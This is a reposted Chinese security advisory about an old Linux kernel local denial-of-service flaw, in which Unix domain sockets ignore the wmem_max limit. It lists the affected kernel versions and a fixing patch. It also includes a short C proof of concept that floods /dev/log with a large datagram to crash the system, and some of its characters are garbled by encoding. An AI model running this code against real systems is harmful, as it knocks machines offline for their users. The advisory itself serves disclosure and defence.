Linux本地拒绝服务攻击导致内核崩溃

发表于:2007-07-02来源:作者:点击数: 标签:
受影响的系统: Linux kernel 2.2.12 2.2.14 2.3.99-pre2 不受影响系统: linux kernel 2.2.14 + Solar Designer@#s kernel patch 描述: -------------------------------------------------------------------------------- Linux的 unix 域名套接字没有考虑/

受影响的系统:
Linux kernel 2.2.12
2.2.14
2.3.99-pre2
不受影响系统: linux kernel 2.2.14 + Solar Designer@#s kernel patch
描述:
--------------------------------------------------------------------------------

Linux的unix域名套接字没有考虑/proc/sys.net/core/wmem_max的参数的限制,本地普通
用户可以通过向某个套接字传送大量数据,导致Linux内核分配内存空间时出错,系统停止
响应。必须重新启动系统。
〈* 来源:Jay Fenlason () *>


测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


#include 〈sys/types.h>
#include 〈sys/socket.h>
#include 〈string.h>


char buf[128 * 1024];


int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;


for ( i = 0; i 〈 bufsize; i++ )
buf[i] = @# @#+(i%95);
buf[i] = @#@#;


SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
return 0;
}

[绿色兵团]

原文转自:http://www.ltesting.net